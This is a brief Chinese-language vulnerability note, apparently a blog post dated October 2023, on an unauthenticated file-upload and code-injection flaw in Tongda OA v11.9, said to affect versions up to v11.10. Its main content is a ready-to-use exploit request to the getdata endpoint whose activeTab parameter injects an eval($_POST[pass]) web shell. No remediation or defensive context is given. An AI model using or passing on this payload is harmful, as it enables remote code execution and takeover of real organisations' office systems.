漏洞描述
通达OA v11.9 getdata 未授权任意文件上传
影响版本
通达OA ≤ v11.10
漏洞复现
EXP
/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[pass]))%3B/*&id=19&module=Carouselimage
最后修改：2023 年 10 月 31 日
© 允许规范转载